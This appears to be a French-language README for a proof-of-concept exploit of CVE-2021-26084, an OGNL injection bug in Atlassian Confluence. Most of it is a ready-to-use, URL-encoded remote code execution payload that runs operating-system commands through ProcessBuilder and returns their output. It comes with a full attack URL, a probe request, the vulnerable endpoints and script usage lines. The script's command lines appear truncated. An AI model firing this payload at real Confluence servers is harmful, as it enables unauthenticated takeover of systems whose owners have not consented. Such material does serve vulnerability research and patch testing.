lleavesl/cve-2021-26084Exploit PoC pour CVE-2021-26084, une vulnérabilité d'injection OGNL dans Atlassian Confluence permettant l'exécution de code à distance non authentifiée via des paramètres queryString conçus.
CVE-2021-26084, vulnérabilité d'injection OGNL dans Atlassian Confluence
Atlassian Confluence est un système wiki largement utilisé dans les entreprises. Certaines de ses versions contiennent une vulnérabilité d'injection d'expression OGNL. Un attaquant peut l'exploiter pour exécuter du code arbitraire sur la Confluence cible, sans nécessiter de compte utilisateur.
queryString=%5cu0027%2b%7bClass.forName%28%5cu0027javax.script.ScriptEngineManager%5cu0027%29.newInstance%28%29.getEngineByName%28%5cu0027JavaScript%5cu0027%29.%5cu0065val%28%5cu0027var+isWin+%3d+java.lang.System.getProperty%28%5cu0022os.name%5cu0022%29.toLowerCase%28%29.contains%28%5cu0022win%5cu0022%29%3b+var+cmd+%3d+new+java.lang.String%28%5cu0022id%5cu0022%29%3bvar+p+%3d+new+java.lang.ProcessBuilder%28%29%3b+if%28isWin%29%7bp.command%28%5cu0022cmd.exe%5cu0022%2c+%5cu0022%2fc%5cu0022%2c+cmd%29%3b+%7d+else%7bp.command%28%5cu0022bash%5cu0022%2c+%5cu0022-c%5cu0022%2c+cmd%29%3b+%7dp.redirectErrorStream%28true%29%3b+var+process%3d+p.start%28%29%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader%28process.getInputStream%28%29%29%3b+var+bufferedReader+%3d+new+java.io.BufferedReader%28inputStreamReader%29%3b+var+line+%3d+%5cu0022%5cu0022%3b+var+output+%3d+%5cu0022%5cu0022%3b+while%28%28line+%3d+bufferedReader.readLine%28%29%29+%21%3d+null%29%7boutput+%3d+output+%2b+line+%2b+java.lang.Character.toString%2810%29%3b+%7d%5cu0027%29%7d%2b%5cu0027
/pages/createpage.action Cette interface nécessite un utilisateur disposant d'une autorisation de création de pages :
/pages/createpage.action?spaceKey=KK&fromPageId=65618&src=quick-create&queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027
http://your-ip:8090/pages/createpage.action?spaceKey=KK&fromPageId=65618&src=quick-create&queryString=%5cu0027%2b%7bClass.forName%28%5cu0027javax.script.ScriptEngineManager%5cu0027%29.newInstance%28%29.getEngineByName%28%5cu0027JavaScript%5cu0027%29.%5cu0065val%28%5cu0027var+isWin+%3d+java.lang.System.getProperty%28%5cu0022os.name%5cu0022%29.toLowerCase%28%29.contains%28%5cu0022win%5cu0022%29%3b+var+cmd+%3d+new+java.lang.String%28%5cu0022id%5cu0022%29%3bvar+p+%3d+new+java.lang.ProcessBuilder%28%29%3b+if%28isWin%29%7bp.command%28%5cu0022cmd.exe%5cu0022%2c+%5cu0022%2fc%5cu0022%2c+cmd%29%3b+%7d+else%7bp.command%28%5cu0022bash%5cu0022%2c+%5cu0022-c%5cu0022%2c+cmd%29%3b+%7dp.redirectErrorStream%28true%29%3b+var+process%3d+p.start%28%29%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader%28process.getInputStream%28%29%29%3b+var+bufferedReader+%3d+new+java.io.BufferedReader%28inputStreamReader%29%3b+var+line+%3d+%5cu0022%5cu0022%3b+var+output+%3d+%5cu0022%5cu0022%3b+while%28%28line+%3d+bufferedReader.readLine%28%29%29+%21%3d+null%29%7boutput+%3d+output+%2b+line+%2b+java.lang.Character.toString%2810%29%3b+%7d%5cu0027%29%7d%2b%5cu0027
/pages/createpage-entervariables.action
/pages/doenterpagevariables.action
Aucune authentification n'est requise, utiliser une requête POST
Commande :
python3 -r test.txt
Commande :
python3 -u http://example.com
https://github.com/vulhub/vulhub/blob/master/confluence/
https://github.com/h3v0x/CVE-2021-26084_Confluence
https://www.cnblogs.com/huangxiaosan/p/14290034.html
https://blog.csdn.net/weixin_43072923/article/details/117083611